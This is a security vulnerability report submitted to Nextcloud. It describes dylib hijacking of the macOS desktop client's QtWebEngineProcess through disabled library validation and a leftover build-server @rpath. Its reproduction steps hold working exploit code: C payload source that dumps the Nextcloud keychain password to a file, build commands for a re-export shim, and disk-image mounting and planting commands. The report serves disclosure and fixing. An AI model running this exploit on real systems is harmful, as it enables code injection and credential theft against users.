Nextcloud · Report #3772818
Code injection allows unprivileged local attacker to execute arbitrary code in Nextcloud's OAuth/web renderer process
How it was found
Summary
An attacker with standard user access on macOS can inject arbitrary code into Nextcloud Desktop Client's web renderer process (QtWebEngineProcess) - stealing credentials, intercepting OAuth tokens, and reading all synced files - without administrator privileges or a SIP bypass.
The vulnerability combines two weaknesses in Nextcloud v33.0.5:
Weakness 1: QtWebEngineProcess (the subprocess handling embedded web content and OAuth flows) ships with com.apple.security.cs.disable-library-validation. This entitlement explicitly turns off Apple's Library Validation, which normally rejects any dylib whose code signature does not match the app's Developer Team ID. The process also runs without App Sandbox, giving it full unsandboxed user-level access.
Weakness 2: The same binary embeds dead build-server paths (/Volumes/builds/39648/macos-39648-build/{arch}/lib) in its @rpath that dyld searches before the real app framework directory. macOS allows standard users to mount disk images at /Volumes/ without administrator privileges via hdiutil attach.
Combined exploit: An attacker mounts a crafted disk image at /Volumes/builds, plants a malicious dylib at the expected framework path inside it, and when QtWebEngineProcess starts, dyld finds the attacker's dylib first and loads it without any signature check - executing arbitrary code at standard user privilege level.
This is not a duplicate of CVE-2020-8140 or CVE-2024-37885. Both prior CVEs used DYLD_INSERT_LIBRARIES env vars on binaries lacking Hardened Runtime. This vulnerability uses a different entitlement (disable-library-validation, not allow-dyld-environment-variables), a different binary (QtWebEngineProcess, not the main binary), and a different injection mechanism (@rpath hijacking, not env var injection).
Trigger note: On macOS 15.5, the main Nextcloud app has a separate unrelated crash (mach_port_rendezvous sandbox entitlement gap) preventing Qt WebEngine from initializing. The PoC uses direct launch of QtWebEngineProcess (Step 4 Option A), which works on all macOS versions. On macOS 14, the full app flow (Option B) also works via the webflow login path.
Vulnerability Details
Affected Component
Binary: Nextcloud.app/Contents/Frameworks/QtWebEngineCore.framework/
Versions/A/Helpers/QtWebEngineProcess.app/Contents/MacOS/QtWebEngineProcess
Version: Nextcloud Desktop Client 33.0.5 (macOS, universal binary x86_64 + arm64)
Team ID: NKUJUXUJ3B
Entitlement Evidence
codesign -d --entitlements :- \
/Applications/Nextcloud.app/Contents/Frameworks/QtWebEngineCore.framework/\
Versions/A/Helpers/QtWebEngineProcess.app/Contents/MacOS/QtWebEngineProcess
Output:
<key>com.apple.security.cs.disable-library-validation</key><true/>
<key>com.apple.security.cs.allow-jit</key><true/>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key><true/>
<key>com.apple.security.cs.disable-executable-page-protection</key><true/>
QtWebEngineProcess has Hardened Runtime enabled (flags=0x10000) - which normally enforces Library Validation - but disable-library-validation explicitly overrides it. The process has no App Sandbox entitlement, giving it full unsandboxed access to the user's home directory, keychain, and file system.
Compare with the correctly-hardened main binary:
codesign -d --entitlements :- /Applications/Nextcloud.app/Contents/MacOS/Nextcloud
# com.apple.security.app-sandbox = true ← sandboxed
# com.apple.security.network.client = true
# (no disable-library-validation) ← Library Validation intact
Dead @rpath Evidence
# Extract arm64 slice and list rpaths in order
lipo -extract arm64 QtWebEngineProcess -output /tmp/qtwe_arm64
otool -l /tmp/qtwe_arm64 | grep -A3 LC_RPATH | grep "path "
Output (arm64 slice - rpath search order):
1. /Volumes/builds/39648/macos-39648-build/arm64/macos-clang-arm64/lib ← SEARCHED FIRST
2. @loader_path/../../../../../../../ → resolves to /Applications/Nextcloud.app/Contents/Frameworks
3. @loader_path/../../../../lib → resolves inside app bundle
/Volumes/builds/39648/... is the build server's local path, leaked into the production binary. dyld searches it before the real app Frameworks directory. macOS users can mount a disk image at this exact path without admin.
Steps to Reproduce
Environment: macOS 14 or 15, Nextcloud Desktop Client 33.0.5 installed, standard user (no admin).
Step 1 - Build the malicious dylib (re-export shim)
The payload must be built as a re-export shim - it forwards all real QtWebEngineCore symbols through to the legitimate library while injecting a constructor. A plain dylib without re-export fails at symbol resolution before the constructor fires.
/* payload.c */
#include <stdio.h>
#include <stdlib.h>
#include <syslog.h>
#include <unistd.h>
__attribute__((constructor(101)))
static void pwned(void) {
syslog(LOG_CRIT,
"[NC-INJECT] code execution in %s pid=%d uid=%d",
getprogname(), getpid(), getuid());
/* Write proof */
FILE *f = fopen("/tmp/nc_injection_proof.txt", "w");
if (f) {
fprintf(f, "INJECTED: %s PID=%d UID=%d\n",
getprogname(), getpid(), getuid());
fclose(f);
}
/* Keychain dump - no dialog shown, same user context */
system("security find-generic-password -wa 'Nextcloud' "
">> /tmp/nc_injection_proof.txt 2>&1");
/* Visual PoC */
system("open -a Calculator");
}
REAL="/Applications/Nextcloud.app/Contents/Frameworks/\
QtWebEngineCore.framework/Versions/A/QtWebEngineCore"
FWDIR="/Applications/Nextcloud.app/Contents/Frameworks"
# Build re-export shim - unique install name avoids circular reference
clang -dynamiclib -arch arm64 \
-install_name "nc_inject.dylib" \
-Wl,-reexport_library,"$REAL" \
-Wl,-rpath,"$FWDIR" \
-o /tmp/nc_payload.dylib \
payload.c
# No code signing required - disable-library-validation skips Team ID check
Step 2 - Mount disk image at the dead @rpath (no admin)
hdiutil create -size 50m -fs HFS+ -volname "builds" /tmp/exploit.dmg
hdiutil attach /tmp/exploit.dmg
# macOS mounts automatically at /Volumes/builds
# hdiutil attach requires NO administrator privileges
Step 3 - Plant payload at exact dyld search path
# arm64 (Apple Silicon / M1/M2/M3)
mkdir -p "/Volumes/builds/39648/macos-39648-build/arm64/\
macos-clang-arm64/lib/QtWebEngineCore.framework/Versions/A/"
cp /tmp/nc_payload.dylib \
"/Volumes/builds/39648/macos-39648-build/arm64/\
macos-clang-arm64/lib/QtWebEngineCore.framework/Versions/A/QtWebEngineCore"
# x86_64 (Intel)
mkdir -p "/Volumes/builds/39648/macos-39648-build/x86_64/\
macos-64-clang/lib/QtWebEngineCore.framework/Versions/A/"
cp /tmp/nc_payload.dylib \
"/Volumes/builds/39648/macos-39648-build/x86_64/\
macos-64-clang/lib/QtWebEngineCore.framework/Versions/A/QtWebEngineCore"
Step 4 - Trigger QtWebEngineProcess
Option A - Direct launch (works on any macOS version, no server needed):
/Applications/Nextcloud.app/Contents/Frameworks/QtWebEngineCore.framework/\
Versions/A/Helpers/QtWebEngineProcess.app/Contents/MacOS/QtWebEngineProcess &
Option B - Via app (macOS 14, legacy Nextcloud server):
Open Nextcloud Desktop → Log in → Enter URL of a Nextcloud ≤15 server (uses webflow/embedded login). The app spawns QtWebEngineProcess to render the login page.
When QtWebEngineProcess starts, dyld resolves @rpath/QtWebEngineCore.framework/Versions/A/QtWebEngineCore:
- Checks
/Volumes/builds/.../QtWebEngineCore.framework/Versions/A/QtWebEngineCore→ finds payload (first @rpath) disable-library-validationis set → Team ID check skipped- Payload constructor fires before
main()- arbitrary code executes
Step 5 - Verify injection
cat /tmp/nc_injection_proof.txt
Expected:
INJECTED: QtWebEngineProcess PID=22223 UID=502
<Nextcloud keychain password if account configured>
Calculator opens as visual confirmation of arbitrary code execution.
Impact
An attacker running as the same macOS user can silently steal all Nextcloud credentials and access every synced file - no admin required, no permission prompts triggered.
-
Credential theft: Code runs inside the process handling OAuth login and embedded web content. Intercepts credentials as typed, reads stored Nextcloud passwords directly from keychain (no dialog - same user session), exfiltrates OAuth tokens in-flight.
-
File access:
QtWebEngineProcessruns without App Sandbox. Full read/write to~/Library/Application Support/Nextcloud/(sync database, account configs, E2EE key material) and all files synced to/from Nextcloud. -
Persistence: Installs LaunchAgent, modifies sync config, or injects malicious files into the synced folder for server-side propagation.
-
Scope: Affects all macOS users running Nextcloud Desktop 33.0.5. Unsigned payload requires zero infrastructure - no signing certificate, no Apple developer account.